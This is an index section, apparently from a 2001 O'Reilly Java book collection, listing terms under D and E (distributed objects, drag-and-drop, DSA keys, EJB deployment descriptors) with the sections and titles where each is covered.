idltojava compiler bugs: 12. Java IDL Tools, Java Enterprise in a Nutshell
dispatch servlet: 10.3.1. The Design, Java Servlet Programming
dispatch( ) (Skeleton): 17. The java.rmi.server Package, Java Enterprise in a Nutshell
D.3. The java.rmi.server Package, Java Distributed Computing
display-name element: 10.4 The Descriptor's Body, Enterprise JavaBeans
session or entity element: 10.5.1 Session and Entity Beans, Enterprise JavaBeans
displaying output: 1.3.2.6. Displaying output, Java in a Nutshell
dispose( ): 5.1 Printing in Java 1.1, Java Foundation Classes
Dialog class: 9. The java.awt Package, Java Foundation Classes
Frame class: 9. The java.awt Package, Java Foundation Classes
Graphics class: 9. The java.awt Package, Java Foundation Classes
PrintJob class: 9. The java.awt Package, Java Foundation Classes
WindowEvent class: 14. The java.awt.event Package, Java Foundation Classes
distinguished names (DNs): 11.1.1. Principals, Java Security
A.1. The keytool, Java Security
distributed applications
anatomy of: 1.1. Anatomy of a Distributed Application, Java Distributed Computing
bandwidth-limited (see bandwidth-limited systems)
with databases (see databases)
with Java and non-Java components: 3.1. Introduction to RMI, Java Enterprise in a Nutshell
remote interfaces, defining: 3.2. Defining Remote Objects, Java Enterprise in a Nutshell
requirements for development: 1.2. Requirements for Developing Distributed Applications, Java Distributed Computing
distributed certified public keys: 5.5.5. Distributing Certified Public Keys, Java Distributed Computing
distributed component model: 7. Enterprise JavaBeans, Java Enterprise in a Nutshell
distributed component servers (see CTMs)
distributed computing: 1.1. Enterprise Computing Defined, Java Enterprise in a Nutshell
architecture (hypothetical enterprise): 1.4. Enterprise Computing Scenarios, Java Enterprise in a Nutshell
bandwidth-limited (see bandwidth-limited systems)
complexity: 1.2. Enterprise Computing Demystified, Java Enterprise in a Nutshell
development tools for: 3.3.5. Development Tools, Java Distributed Computing
distribution of workload: 3.2.3. Other Issues, Java Distributed Computing
history of: 0. Preface, Java Distributed Computing
Java Enterprise APIs, supporting: 1.3. The Java Enterprise APIs, Java Enterprise in a Nutshell
Java's advantages in: 1.3. What Does Java Provide?, Java Distributed Computing
motivations for: 1. Introduction, Java Distributed Computing
RMI as high-level, generic approach: 1.3.2. RMI: Remote Method Invocation, Java Enterprise in a Nutshell
distributed events: 6.6.2. Distributed Events, Java Distributed Computing
distributed garbage collection (see DGC interface)
distributed object systems
clients and servers, distinguishing: 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
HTTP supporting access from anonymous clients: 11.3 Web Components and EJB, Enterprise JavaBeans
RMI vs. RPC: 1.5.1 TP Monitors, Enterprise JavaBeans
sharing distributed objects among clients: 3.2.1 Concurrency, Enterprise JavaBeans
Titan Cruises example: 1.7 Titan Cruises: An Imaginary Business, Enterprise JavaBeans
distributed objects: 3.1. Why Distribute Objects?, Java Distributed Computing
1.1.1 Distributed Objects, Enterprise JavaBeans
3.2.4 Distributed Objects , Enterprise JavaBeans
7. Enterprise JavaBeans, Java Enterprise in a Nutshell
architecture for: 1.3 Distributed Object Architectures, Enterprise JavaBeans
CORBA standard services: 4. Java IDL, Java Enterprise in a Nutshell
in CTMs: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors, Enterprise JavaBeans
CTMs, providing system-level functionality for: 1.5.4 Analogies to Relational Databases, Enterprise JavaBeans
databases and remote data: 7.2.6.2. Distributed objects from the data server, Java Distributed Computing
EJB vs. regular: 7. Enterprise JavaBeans, Java Enterprise in a Nutshell
implementing manually (example): 1.3.1 Rolling Your Own Distributed Object, Enterprise JavaBeans
Java schemes: 3.4. Distributed Object Schemes for Java, Java Distributed Computing
comparison between: 3.7. RMI vs. CORBA, Java Distributed Computing
CORBA: 3.5. CORBA, Java Distributed Computing
Java RMI: 3.6. Java RMI, Java Distributed Computing
JavaSpaces system: C. JavaSpaces, Java Distributed Computing
location transparency: 1.3.1 Rolling Your Own Distributed Object, Enterprise JavaBeans
naming and directory services: 3.2.5 Naming, Enterprise JavaBeans
ORBs and: 1.5.2 Object Request Brokers, Enterprise JavaBeans
RMI, interacting with: 3.1. Introduction to RMI, Java Enterprise in a Nutshell
system features: 3.3. Features of Distributed Object Systems, Java Distributed Computing
distributed threads/ThreadGroups: 4.4.2. Distributed ThreadGroups, Java Distributed Computing
synchronizing: 4.4.4. Synchronizing Distributed Threads, Java Distributed Computing
distributed transactions
two-phase commit protocol: 1.3.8. JTA: Managing Distributed Transactions, Java Enterprise in a Nutshell
8.2.4 Transaction Propagation , Enterprise JavaBeans
supporting (JDBC standard extension): 2.13.5. The JDBC Standard Extension, Java Enterprise in a Nutshell
distributeEvent( ): 6.6.2. Distributed Events, Java Distributed Computing
distributing data and functions: 1.2.1. Partitioning and Distributing Data and Functions, Java Distributed Computing
DistThreadGroup class (example): 4.4.2. Distributed ThreadGroups, Java Distributed Computing
dividing by zero: 5.7. When Things Go Wrong, Java Servlet Programming
division (/) operator: 2.5.2. Arithmetic Operators, Java in a Nutshell
-dname option (keytool): A.1.1. Global Options to keytool, Java Security
DnDConstants interface: 12. The java.awt.dnd Package, Java Foundation Classes
DNs (distinguished names): 11.1.1. Principals, Java Security
A.1. The keytool, Java Security
DNS (Domain Name System): 6. JNDI, Java Enterprise in a Nutshell
2.1.1. IP Addressing, Java Distributed Computing
spoofing: 7.1.1. Author Authentication, Java Security
C.1.1. Java Security Bugs, Java Security
do statements: 2.6.9. The do Statement, Java in a Nutshell
doc comments (/** */): 2.2. Comments, Java in a Nutshell
7.3. Java Documentation Comments, Java in a Nutshell
body of: 7.3.1. Structure of a Doc Comment, Java in a Nutshell
images in: 7.3.1. Structure of a Doc Comment, Java in a Nutshell
{@link} doc-comment tag: 7.3.1. Structure of a Doc Comment, Java in a Nutshell
for packages: 7.3.3. Doc Comments for Packages, Java in a Nutshell
spaces in: 7.3.1. Structure of a Doc Comment, Java in a Nutshell
structure of: 7.3.1. Structure of a Doc Comment, Java in a Nutshell
tags for: 7.3.1. Structure of a Doc Comment, Java in a Nutshell
doConsume( )
AudioConsumer class: 8.5.1. Streaming Multimedia, Java Distributed Computing
ContentConsumer class: 8.4.2. Real Data Monitoring, Java Distributed Computing
!DOCTYPE element: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
4.2.5 EJB 1.1: The Deployment Descriptor, Enterprise JavaBeans
Document interface: 30. The javax.swing.text Package, Java Foundation Classes
30. The javax.swing.text Package, Java Foundation Classes
document location: 5.6. HTTP Headers, Java Servlet Programming
Document Type Definition (see DTD)
documentation
conventions for: 7. Java Programming and Documentation Conventions, Java in a Nutshell
tool for: 8. Java Development Tools, Java in a Nutshell
DocumentEvent class: 26. The javax.swing.event Package, Java Foundation Classes
DocumentParser class: 32. The javax.swing.text.html.parser Package, Java Foundation Classes
doDelete( ) (HttpServlet): 26. The javax.servlet.http Package, Java Enterprise in a Nutshell
2.2. The Servlet API, Java Servlet Programming
Does Not Exist state: 6.3.1 Does Not Exist, Enterprise JavaBeans
stateful session beans: 7.4.1 Does Not Exist, Enterprise JavaBeans
stateless session beans: 7.2.1 Does Not Exist, Enterprise JavaBeans
transition from Method-Ready Pool to: 7.2.2.3 Transitioning out of the Method-Ready Pool: The death of a stateless bean instance, Enterprise JavaBeans
doFinal( )
Cipher class: 26. The javax.crypto Package, Java in a Nutshell
13.5.1. Using the Cipher Class, Java Security
Mac class: 26. The javax.crypto Package, Java in a Nutshell
doGet( ) (HttpServlet): 5.2.1. HTTP Servlets, Java Enterprise in a Nutshell
5.5. Thread Safety, Java Enterprise in a Nutshell
26. The javax.servlet.http Package, Java Enterprise in a Nutshell
11.1 Servlets, Enterprise JavaBeans
2.3.1. Writing Hello World, Java Servlet Programming
2.3.4. Handling POST Requests, Java Servlet Programming
2.3.5. Handling HEAD Requests, Java Servlet Programming
2.4.1. Writing a Server-Side Include, Java Servlet Programming
3.6. Last Modified Times, Java Servlet Programming
10.3.2. The Servlet, Java Servlet Programming
doHead( ) method: 2.2. The Servlet API, Java Servlet Programming
Domain Name System (DNS): 2.1.1. IP Addressing, Java Distributed Computing
6. JNDI, Java Enterprise in a Nutshell
domain restriction pattern: 7.4.1. Working with Cookies, Java Servlet Programming
domain, specifying (cookies): 5.7. Cookies, Java Enterprise in a Nutshell
DomainCombiner interface: 17. The java.security Package, Java in a Nutshell
DomainManager interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
domains, protection (see protection domains)
Domino Go Webserver, web site for information: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
done( )
RemoteRef class: D.3. The java.rmi.server Package, Java Distributed Computing
RemoteRef interface: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
RemoteCall interface: D.3. The java.rmi.server Package, Java Distributed Computing
DoneCmd class (example): 1.3.5. Network Support, Java Distributed Computing
dontUseGui( ): 9. The java.beans Package, Java in a Nutshell
doOptions( ) method: 2.2. The Servlet API, Java Servlet Programming
doPhase( ), KeyAgreement class: 13.7. Symmetric Key Agreement, Java Security
26. The javax.crypto Package, Java in a Nutshell
doPost( ) (HttpServlet): 5.2.1. HTTP Servlets, Java Enterprise in a Nutshell
5.5. Thread Safety, Java Enterprise in a Nutshell
26. The javax.servlet.http Package, Java Enterprise in a Nutshell
10.2.3.3. Posting a serialized object, Java Servlet Programming
10.3.2. The Servlet, Java Servlet Programming
11.1 Servlets, Enterprise JavaBeans
explicit client actions, recording: 5.2.3. POST, HEAD, and Other Requests, Java Enterprise in a Nutshell
doPrivileged( ) (AccessController): 17. The java.security Package, Java in a Nutshell
17. The java.security Package, Java in a Nutshell
6.1.1. The Class Loader Depth, Java Security
doProduction( )
AudioProducer class: 8.5.1. Streaming Multimedia, Java Distributed Computing
ContentProducer class: 8.4.2. Real Data Monitoring, Java Distributed Computing
doPut( ) (HttpServlet): 5.2.1. HTTP Servlets, Java Enterprise in a Nutshell
2.2. The Servlet API, Java Servlet Programming
doTrace( ) method: 2.2. The Servlet API, Java Servlet Programming
double buffering: 2.2 Components, Java Foundation Classes
4.1.5 Images, Java Foundation Classes
PrintableComponent class: 5.2.1 Printing Single-Page Objects, Java Foundation Classes
Swing: 3.13 Double-Buffering, Java Foundation Classes
Double class: 16. The java.awt.geom Package, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
4.3. Numbers and Math, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
double data type: 12. The java.lang Package, Java in a Nutshell
double type: 1.3.2.5. Computing the result, Java in a Nutshell
doubleBuffered: 3.13 Double-Buffering, Java Foundation Classes
DoubleHolder class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
doubleToLongBits( ): 12. The java.lang Package, Java in a Nutshell
downloading
applet support classes: A.2. Class Downloads, Java Distributed Computing
web pages (example): 8.5.2. Web Browsing, Java Distributed Computing
drag-and-drop: 1. The Java Foundation Classes, Java Foundation Classes
6. Data Transfer, Java Foundation Classes
6.3 Drag-and-Drop, Java Foundation Classes
12. The java.awt.dnd Package, Java Foundation Classes
13. The java.awt.dnd.peer Package, Java Foundation Classes
dragActionChanged( ) (DragSourceListener): 12. The java.awt.dnd Package, Java Foundation Classes
dragDropEnd( ): 6.3 Drag-and-Drop, Java Foundation Classes
DragSourceListener class: 12. The java.awt.dnd Package, Java Foundation Classes
dragEnter( ): 6.3 Drag-and-Drop, Java Foundation Classes
6.3 Drag-and-Drop, Java Foundation Classes
6.5 A Data Sink, Java Foundation Classes
DragSourceListener class: 12. The java.awt.dnd Package, Java Foundation Classes
DropTargetListener class: 12. The java.awt.dnd Package, Java Foundation Classes
dragExit( ): 6.3 Drag-and-Drop, Java Foundation Classes
6.5 A Data Sink, Java Foundation Classes
DragSourceListener class: 12. The java.awt.dnd Package, Java Foundation Classes
12. The java.awt.dnd Package, Java Foundation Classes
DropTargetListener class: 12. The java.awt.dnd Package, Java Foundation Classes
DragGestureEvent class: 6.3 Drag-and-Drop, Java Foundation Classes
12. The java.awt.dnd Package, Java Foundation Classes
DragGestureListener class: 12. The java.awt.dnd Package, Java Foundation Classes
dragGestureRecognized( ): 6.3 Drag-and-Drop, Java Foundation Classes
DragGestureEvent class: 12. The java.awt.dnd Package, Java Foundation Classes
TransferableColor class: 6.4 A Data Source, Java Foundation Classes
DragGestureRecognizer class: 12. The java.awt.dnd Package, Java Foundation Classes
dragOver( ): 6.3 Drag-and-Drop, Java Foundation Classes
DragSourceListener class: 12. The java.awt.dnd Package, Java Foundation Classes
12. The java.awt.dnd Package, Java Foundation Classes
DropTargetListener class: 12. The java.awt.dnd Package, Java Foundation Classes
DragSource class: 12. The java.awt.dnd Package, Java Foundation Classes
DragSourceContext package: 12. The java.awt.dnd Package, Java Foundation Classes
DragSourceContextPeer interface: 13. The java.awt.dnd.peer Package, Java Foundation Classes
DragSourceDragEvent class: 12. The java.awt.dnd Package, Java Foundation Classes
DragSourceDropEvent class: 12. The java.awt.dnd Package, Java Foundation Classes
DragSourceEvent class: 12. The java.awt.dnd Package, Java Foundation Classes
DragSourceListener class: 6.3 Drag-and-Drop, Java Foundation Classes
12. The java.awt.dnd Package, Java Foundation Classes
draw( ): 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
4.5.2 How a Stroke Works, Java Foundation Classes
15. The java.awt.font Package, Java Foundation Classes
Graphics2D class: 4.4 Shapes, Java Foundation Classes
4.9.7 Text Art with Font Glyphs, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
TextLayout class: 4.9.6 Advanced Text Drawing, Java Foundation Classes
15. The java.awt.font Package, Java Foundation Classes
drawGlyphVector( ): 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
4.9.6 Advanced Text Drawing, Java Foundation Classes
drawImage( ) methods: 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
Graphics: 4.1.5 Images, Java Foundation Classes
Graphics2D class: 4.10.2 Drawing a BufferedImage, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
drawPolygon( ) (Polygon): 9. The java.awt Package, Java Foundation Classes
drawRenderableImage( ): 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
drawRenderedImage( ): 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
Graphics2D class: 4.10.2 Drawing a BufferedImage, Java Foundation Classes
drawString( ): 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
5.2.2 Printing Multipage Documents, Java Foundation Classes
Graphics2D class: 4.9.6 Advanced Text Drawing, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
Driver interface: 7.1.2.1. DriverManager, Java Distributed Computing
18. The java.sql Package, Java Enterprise in a Nutshell
DriverManager class: 7.1.2.1. DriverManager, Java Distributed Computing
18. The java.sql Package, Java Enterprise in a Nutshell
DriverManager.registerDriver( )
Driver interface: 18. The java.sql Package, Java Enterprise in a Nutshell
DriverPropertyInfo class: 18. The java.sql Package, Java Enterprise in a Nutshell
drivers
configuring: 7.2.1. JDBC Driver Configurations, Java Distributed Computing
JDBC architecture, relying upon: 1.3.1. JDBC: Working with Databases, Java Enterprise in a Nutshell
JNDI: 5.1 Locating Beans with JNDI, Enterprise JavaBeans
drop( ): 6.3 Drag-and-Drop, Java Foundation Classes
6.5 A Data Sink, Java Foundation Classes
DropTargetListener class: 12. The java.awt.dnd Package, Java Foundation Classes
12. The java.awt.dnd Package, Java Foundation Classes
drop-down lists: 2.2 Components, Java Foundation Classes
2.2 Components, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
dropActionChanged( )
DragSourceListener class: 12. The java.awt.dnd Package, Java Foundation Classes
DropTargetListener class: 12. The java.awt.dnd Package, Java Foundation Classes
dropComplete( ) (DropTargetEvent): 6.3 Drag-and-Drop, Java Foundation Classes
DropTarget class: 12. The java.awt.dnd Package, Java Foundation Classes
DropTargetAutoScroller class: 12. The java.awt.dnd Package, Java Foundation Classes
DropTargetContext class: 12. The java.awt.dnd Package, Java Foundation Classes
DropTargetContextPeer interface: 13. The java.awt.dnd.peer Package, Java Foundation Classes
DropTargetDragEvent class: 12. The java.awt.dnd Package, Java Foundation Classes
DropTargetDropEvent class: 12. The java.awt.dnd Package, Java Foundation Classes
DropTargetEvent class: 6.3 Drag-and-Drop, Java Foundation Classes
12. The java.awt.dnd Package, Java Foundation Classes
DropTargetListener interface: 6.3 Drag-and-Drop, Java Foundation Classes
12. The java.awt.dnd Package, Java Foundation Classes
DropTargetPeer interface: 13. The java.awt.dnd.peer Package, Java Foundation Classes
DSA algorithm: 5.2.1.1. The User API, Java Distributed Computing
5.7.2.1. Encryption techniques, Java Distributed Computing
DSAKey interface: 10.1.1.1. DSA keys, Java Security
D.3. Package java.security.interfaces, Java Security
DSAKeyPairGenerator interface: 10.2.2. Generating DSA Keys, Java Security
D.3. Package java.security.interfaces, Java Security
DSAParameterSpec class: 10.3.3.2. The AlgorithmParameterSpec interface, Java Security
D.4. Package java.security.spec, Java Security
DSAParams interface: 10.1.1.1. DSA keys, Java Security
D.3. Package java.security.interfaces, Java Security
DSAPrivateKey interface: 10.1.1.1. DSA keys, Java Security
D.3. Package java.security.interfaces, Java Security
D.3. Package java.security.interfaces, Java Security
DSAPrivateKeySpec class: 10.3.3.2. The AlgorithmParameterSpec interface, Java Security
D.4. Package java.security.spec, Java Security
DSAPublicKey interface: 10.1.1.1. DSA keys, Java Security
D.3. Package java.security.interfaces, Java Security
D.3. Package java.security.interfaces, Java Security
DSAPublicKeySpec class: 10.3.3.2. The AlgorithmParameterSpec interface, Java Security
D.4. Package java.security.spec, Java Security
keys for: 10.1.1.1. DSA keys, Java Security
generating: 10.2.2. Generating DSA Keys, Java Security
DSA and RSA public and private keys: 20. The java.security.interfaces Package, Java in a Nutshell
representing and encoding: 21. The java.security.spec Package, Java in a Nutshell
.DSA filename extension: 12.2.1. Reading Signed JAR Files, Java Security
DSAKeyPairGenerator interface: 5.2.1.1. The User API, Java Distributed Computing
20. The java.security.interfaces Package, Java in a Nutshell
DSAParameterSpec interface: 21. The java.security.spec Package, Java in a Nutshell
DSAParams interface: 20. The java.security.interfaces Package, Java in a Nutshell
DSAPrivateKey interface: 20. The java.security.interfaces Package, Java in a Nutshell
DSAPrivateKeySpec interface: 21. The java.security.spec Package, Java in a Nutshell
DSAPublicKey interface: 20. The java.security.interfaces Package, Java in a Nutshell
DSAPublicKeySpec interface: 21. The java.security.spec Package, Java in a Nutshell
DSI (see Dynamic Skeleton Interface (DSI) API)
DTD class: 32. The javax.swing.text.html.parser Package, Java Foundation Classes
DTD (Document Type Definition): 10.1 What Is an XML Deployment Descriptor?, Enterprise JavaBeans
XML-based deployment descriptors: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
elements in: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
DTDConstants class: 32. The javax.swing.text.html.parser Package, Java Foundation Classes
duplicate records
finding: 7.8.2. Creating/Finding Beans, Java Enterprise in a Nutshell
handling in EJB: 7.3.1.5 Why use a Reservation entity bean?, Enterprise JavaBeans
DuplicateKeyException: 7.3.1.5 Why use a Reservation entity bean?, Enterprise JavaBeans
7.3.1.5 Why use a Reservation entity bean?, Enterprise JavaBeans
8.6.1.2 Application exceptions, Enterprise JavaBeans
EJB API: A.1.2 DuplicateKeyException, Enterprise JavaBeans
DuplicateKeyException class: 19. The javax.ejb Package, Java Enterprise in a Nutshell
durability of transactions: 8.1 ACID Transactions, Enterprise JavaBeans
8.1.4 Is the TravelAgent Bean Durable?, Enterprise JavaBeans
dynamic class loading: 4.7. Types, Reflection, and Dynamic Loading, Java in a Nutshell
RMI: 3.5. Dynamically Loaded Classes, Java Enterprise in a Nutshell
dynamic database objects: 7.2.3. A Scheduling Example, Java Distributed Computing
dynamic formatting: 12.2. Conforming to Local Customs, Java Servlet Programming
Dynamic Invocation Interface (DII) API: 3.5. CORBA, Java Distributed Computing
4.1. The CORBA Architecture, Java Enterprise in a Nutshell
4.5. What If I Don't Know the Interface?, Java Enterprise in a Nutshell
4.5.1. Dynamic Invocation Interface, Java Enterprise in a Nutshell
asynchronous method invocation: 11.3. Event Service, Java Enterprise in a Nutshell
dynamic loading: 4.7. Types, Reflection, and Dynamic Loading, Java in a Nutshell
Dynamic Method Interface (CORBA): 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
dynamic method lookup: 3.4.6.2. Dynamic method lookup, Java in a Nutshell
dynamic object activation: 3.3.2. Object Manager, Java Distributed Computing
Dynamic Skeleton Interface (DSI) API: 4.1. The CORBA Architecture, Java Enterprise in a Nutshell
4.5. What If I Don't Know the Interface?, Java Enterprise in a Nutshell
DynamicImplementation class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
DynamicUtilTreeNode class: 23. The javax.swing Package, Java Foundation Classes
Dynamo Application Server, web site for information: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
DynAny interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
DynArray interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
DynEnum interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
DynFixed interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
DynSequence interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
DynStruct interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
DynUnion interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
DynValue interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E

e-commerce
firewall problems, overcoming with HTTP: 11.3 Web Components and EJB, Enterprise JavaBeans
mail-order enterprise (example): 1.4.1. Enabling E-Commerce for a Mail-Order Enterprise, Java Enterprise in a Nutshell
web components, providing platform for: 11.3 Web Components and EJB, Enterprise JavaBeans
EAR files (see Enterprise Archive files)
eavesdropping: 5.1. Security Issues and Concerns, Java Distributed Computing
5.6. Data Encryption, Java Distributed Computing
ECB encryption mode: 13.5. Encrypting Data, Java Security
echoing text: 9. The java.awt Package, Java Foundation Classes
editingCanceled( ): 2.6.6 Event Reference, Java Foundation Classes
editingStopped( ): 2.6.6 Event Reference, Java Foundation Classes
editor panes, Swing: 2.2 Components, Java Foundation Classes
EditorContainer class: 34. The javax.swing.tree Package, Java Foundation Classes
EditorKit class: 30. The javax.swing.text Package, Java Foundation Classes
efficiency of servlets: 1.3.3. Efficiency and Endurance, Java Servlet Programming
ejb-class element: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
10.5.1 Session and Entity Beans, Enterprise JavaBeans
ejb-client-jar element: 10.4 The Descriptor's Body, Enterprise JavaBeans
EJB DTD (Document Type Definition)
elements in: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
structuring XML deployment descriptors: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
EJB (Enterprise JavaBeans): 1.6.2 EJB and CORBA CTMs, Enterprise JavaBeans
1.6.3 Benefits of a Standard Server-Side Component Model, Enterprise JavaBeans
7. Enterprise JavaBeans, Java Enterprise in a Nutshell
API: A. The Enterprise JavaBeans API, Enterprise JavaBeans
javax.ejb package: A.1 javax.ejb package, Enterprise JavaBeans
javax.ejb.deployment package: A.2 Package: javax.ejb.deployment (EJB 1.0 Only), Enterprise JavaBeans
architecture: 2. Architectural Overview, Enterprise JavaBeans
bean types: 7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
client view: 3.2.4 Distributed Objects , Enterprise JavaBeans
5. The Client View, Enterprise JavaBeans
client-side API: 5.2 The EJB Client-Side API, Enterprise JavaBeans
clients: 7.2.1. The EJB Client, Java Enterprise in a Nutshell
components: 1.3.2. Power, Java Servlet Programming
naming systems and: 6. JNDI, Java Enterprise in a Nutshell
containers: 1.3.5. Enterprise JavaBeans, Java Enterprise in a Nutshell
7.2.3. The EJB Container, Java Enterprise in a Nutshell
CTMs, choosing for: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors, Enterprise JavaBeans
declarative transactional management: 8.2 Declarative Transaction Management, Enterprise JavaBeans
definitions of: 1.2 Enterprise JavaBeans: Defined, Enterprise JavaBeans
deployment descriptors: 4.2.9.2 EJB 1.0 deployment tools, Enterprise JavaBeans
(see also deployment descriptors)
Version 1.1: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
design strategies: 9. Design Strategies, Enterprise JavaBeans
duplicate records: 7.3.1.5 Why use a Reservation entity bean?, Enterprise JavaBeans
EJB object: 7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
implementation independence: 1. Introduction, Enterprise JavaBeans
isolation levels: 8.3.3.2 EJB 1.0 transaction isolation control, Enterprise JavaBeans
JAR files, contents of: 10.7 The ejb-jar File, Enterprise JavaBeans
Java Transaction API (JTA): 8.5 Explicit Transaction Management, Enterprise JavaBeans
JavaBeans and: 7. Enterprise JavaBeans, Java Enterprise in a Nutshell
JavaBeans vs.: 1.4 Component Models, Enterprise JavaBeans
javax.ejb package: 7. Enterprise JavaBeans, Java Enterprise in a Nutshell
J2EE specification for interaction with web components: 11.3 Web Components and EJB, Enterprise JavaBeans
JDBC, facilitating use: 2.13.5. The JDBC Standard Extension, Java Enterprise in a Nutshell
objects
business methods, implementing: 7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
component nature of: 7. Enterprise JavaBeans, Java Enterprise in a Nutshell
components: 7.4. Implementing a Basic EJB Object, Java Enterprise in a Nutshell
implementing basic: 7.4. Implementing a Basic EJB Object, Java Enterprise in a Nutshell
JDBC connections, providing (EJB server): 7.3.1. Making the EJB Server Aware of Database Transactions, Java Enterprise in a Nutshell
RMI vs.: 7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
transaction boundaries, defining: 7.3. Transaction Management, Java Enterprise in a Nutshell
transactions, declaring new: 7.3. Transaction Management, Java Enterprise in a Nutshell
transactions, managing: 7.3. Transaction Management, Java Enterprise in a Nutshell
packages, downloading from Sun Java site: 4.1.1 Setting Up Your Java IDE, Enterprise JavaBeans
packaging into JAR files: 7.7.4. Packaging Enterprise JavaBeans, Java Enterprise in a Nutshell
primary services
cuncurrency: 3.2.1 Concurrency, Enterprise JavaBeans
distributed objects: 3.2.4 Distributed Objects , Enterprise JavaBeans
naming service: 3.2.5 Naming, Enterprise JavaBeans
persistence: 3.2.3 Persistence , Enterprise JavaBeans
security: 3.2.6 Security, Enterprise JavaBeans
transactions: 3.2.2 Transactions, Enterprise JavaBeans
resource management: 3. Resource Management and the Primary Services, Enterprise JavaBeans
RMI and: 7. Enterprise JavaBeans, Java Enterprise in a Nutshell
roles: 7.2. EJB Roles, Java Enterprise in a Nutshell
server-side component model, benefits of: 1.6.3 Benefits of a Standard Server-Side Component Model, Enterprise JavaBeans
server-side enterprise programs and: 1.3.5. Enterprise JavaBeans, Java Enterprise in a Nutshell
server transaction management: 8.2.4 Transaction Propagation , Enterprise JavaBeans
servers
enabled for: 7. Enterprise JavaBeans, Java Enterprise in a Nutshell
transactions, making aware of: 7.3.1. Making the EJB Server Aware of Database Transactions, Java Enterprise in a Nutshell
standards, evolving: 7.1. A Note on Evolving Standards, Java Enterprise in a Nutshell
transactions
JTA, supporting: 7.3. Transaction Management, Java Enterprise in a Nutshell
management: 7.3. Transaction Management, Java Enterprise in a Nutshell
Version 1.1
changes: 7.9. Changes in EJB 1.1 Specification, Java Enterprise in a Nutshell
new features in: D. New Features in EJB 1.1, Enterprise JavaBeans
web components and: 11.3 Web Components and EJB, Enterprise JavaBeans
ejb-jar element: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
4.2.5 EJB 1.1: The Deployment Descriptor, Enterprise JavaBeans
nesting other elements within: 10.4 The Descriptor's Body, Enterprise JavaBeans
ejb-jar file: 10.7 The ejb-jar File, Enterprise JavaBeans
ejb-jar.xml file: 4.2.7.1 EJB 1.1: Packaging the Cabin bean, Enterprise JavaBeans
ejb-link element: 10.5.4 References to Other Beans, Enterprise JavaBeans
ejb-name element: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
8.2.2.1 EJB 1.1: Setting a transaction attribute, Enterprise JavaBeans
10.5 Describing Beans, Enterprise JavaBeans
10.5.1 Session and Entity Beans, Enterprise JavaBeans
10.6.1 Specifying a Bean's Transactional Attributes, Enterprise JavaBeans
in method element: 10.6.3 Identifying Specific Methods, Enterprise JavaBeans
EJB object: 2.1.3 The Unseen Pieces, Enterprise JavaBeans
2.1.3.1 The EJB object, Enterprise JavaBeans
2.1.3.1 The EJB object, Enterprise JavaBeans
bean entity, associating with: 6.1.7 The EntityContext, Enterprise JavaBeans
concurrent access to: 3.2.1 Concurrency, Enterprise JavaBeans
ejb10-properties subcontext: 7.1.2.8 EJB 1.1: EJBContext, Enterprise JavaBeans
ejb-ref element: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor , Enterprise JavaBeans
10.5.1 Session and Entity Beans, Enterprise JavaBeans
defining bean name in ENC: 7.3.1.4 TravelAgentBean: The bean class, Enterprise JavaBeans
ejb-ref-name element: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor , Enterprise JavaBeans
in env-ref element: 10.5.4 References to Other Beans, Enterprise JavaBeans
ejb-ref-type element: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor , Enterprise JavaBeans
in env-ref element: 10.5.4 References to Other Beans, Enterprise JavaBeans
EJB-to-CORBA mapping: 3.2.4 Distributed Objects , Enterprise JavaBeans
